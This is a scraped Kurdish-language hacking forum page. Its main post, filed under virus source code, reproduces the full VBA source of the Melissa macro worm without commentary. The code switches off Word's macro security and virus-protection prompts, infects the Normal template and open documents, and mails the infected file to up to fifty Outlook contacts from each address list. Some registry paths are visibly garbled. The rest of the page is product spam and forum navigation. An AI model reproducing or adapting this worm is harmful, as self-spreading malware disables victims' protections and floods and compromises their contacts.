HomeFAQ - Pirs û BersîvBigereBikarhêner LîsteBikarhêner GrûpXwe register bikeTêkeve
tébini j beri tu xu tomar bkey malpéré 24buzz yé taybete b babetén kompyoteri u interneté U mobailé nhényén wan anko to ç beşén rewşenbiri d malperé me da na bibi ....... dgel réz grtné
Untitled Document

tu ç navé nımbuzzı lvé boşayé bdey dé wéné wı bini yé profaıli

get avatar nimbuzz

Bigere
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Gucci Tasche
Tue Jan 22, 2013 1:42 am by cangliang

» Gucci Auslauf
Tue Jan 22, 2013 1:41 am by cangliang

» Gucci Handtaschen 2012
Tue Jan 22, 2013 1:39 am by cangliang

» Hermes Kerchief On Sale
Thu Jan 17, 2013 8:08 pm by cangliang

» hermes Constance Bags
Thu Jan 17, 2013 8:06 pm by cangliang

» Hermes Jypsiere Bag
Thu Jan 17, 2013 8:04 pm by cangliang

» Hermes Jypsiere
Mon Jan 14, 2013 6:01 pm by cangliang

» Cheap Hermes Belts
Mon Jan 14, 2013 6:00 pm by cangliang

» Discounted Christian Louboutin
Fri Jan 11, 2013 8:44 pm by cangliang

Kî li vir e?
Bi giştî niha 2 bikarhêner li vir in: Qet qeydkirî tune, ne veşartî û 2 mêvanan.

Ne/Tune

Rekora beşdarbûna 57 bikarhêneran di roja Thu Aug 10, 2017 2:22 pm.
Top posters
alhoye-sheve (152)
 
Sparta! (38)
 
شبابى_بروشكى (32)
 
شبح__الاسود (30)
 
SHANAZI (30)
 
jerseysyin (21)
 
vin dar (21)
 
duhok7 (20)
 
مافيا (15)
 
cangliang (11)
 
Christian Louboutins Women Shoes
Fri Jan 11, 2013 8:43 pm by cangliang
Christian Louboutin, the iconic brand for footwear, could be the grasp in each of the a few segments, womens sneakers and unisex shoes. Next are a …

Comments: 0
LİNK
Bsêr Hatêyîn rastîyêt avîndara..Petêkani joan u gelek babetén di

CLICK

seredan

Share | 
 

 vaırus "Melissa?"

Vegere ser mijara dawî Mijara din bibîne Go down 
NivîskarNûçe
alhoye-sheve
[woner]
[woner]
avatar

Hejmara Nûçeyan : 152
Points : 474
demé tomarkné : 2010-08-29
Age : 30
Welat : kurdistan

MesajSernav: vaırus "Melissa?"   Wed Sep 15, 2010 7:25 am



Private Sub AutoOpen() On Error Resume Next

p$ = "clone"

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then

CommandBars("Macro").Controls("Security...").Enabl ed = False

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1&

Else

p$ = "clone"

CommandBars("Tools").Controls("Macro").Enabled = False

Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)

End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice

Set UngaDasOutlook = CreateObject("Outlook.Application")

Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")

If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then

If UngaDasOutlook = "Outlook" Then

DasMapiName.Logon "profile", "password"

For y = 1 To DasMapiName.AddressLists.Count

Set AddyBook = DasMapiName.AddressLists(y)

x = 1

Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)

For oo = 1 To AddyBook.AddressEntries.Count

Peep = AddyBook.AddressEntries(x)

BreakUmOffASlice.Recipients.Add Peep

x = x + 1

If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo

BreakUmOffASlice.Subject = "Important Message From " & Application.UserName

BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName

BreakUmOffASlice.Send

Peep = ""

Next y

DasMapiName.Logoff

End If

p$ = "clone"

System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"

End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)

Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)

NTCL = NTI1.CodeModule.CountOfLines

ADCL = ADI1.CodeModule.CountOfLines

BGN = 2

If ADI1.Name <> "Melissa" Then

If ADCL > 0 Then _

ADI1.CodeModule.DeleteLines 1, ADCL

Set ToInfect = ADI1

ADI1.Name = "Melissa"

DoAD = True

End If

If NTI1.Name <> "Melissa" Then

If NTCL > 0 Then _

NTI1.CodeModule.DeleteLines 1, NTCL

Set ToInfect = NTI1

NTI1.Name = "Melissa"

DoNT = True

End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then

Do While ADI1.CodeModule.Lines(1, 1) = ""

ADI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")

Do While ADI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

p$ = "clone"

If DoAD = True Then

Do While NTI1.CodeModule.Lines(1, 1) = ""

NTI1.CodeModule.DeleteLines 1

Loop

ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")

Do While NTI1.CodeModule.Lines(BGN, 1) <> ""

ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)

BGN = BGN + 1

Loop

End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then

ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then

ActiveDocument.Saved = True: End If

'WORD/Melissa written by Kwyjibo

'Clone written by Duke/SMF

'Works in both Word 2000 and Word 97

'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!

'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub
Vegere jor Go down
Profîla bikarhênerê bibîne http://24buzz.natars.org
 

vaırus "Melissa?"

Vegere ser mijara dawî Mijara din bibîne Vegere jor 
Rûpel 1 ji 1

Permissions in this forum:Tu nikarî bersîv bide ser mesajên li ser vê forumê.
 :: hacker :: virus source code.-
Free forum | © phpBB | Free forum support | Kontakt | Report an abuse | www.sosblogs.com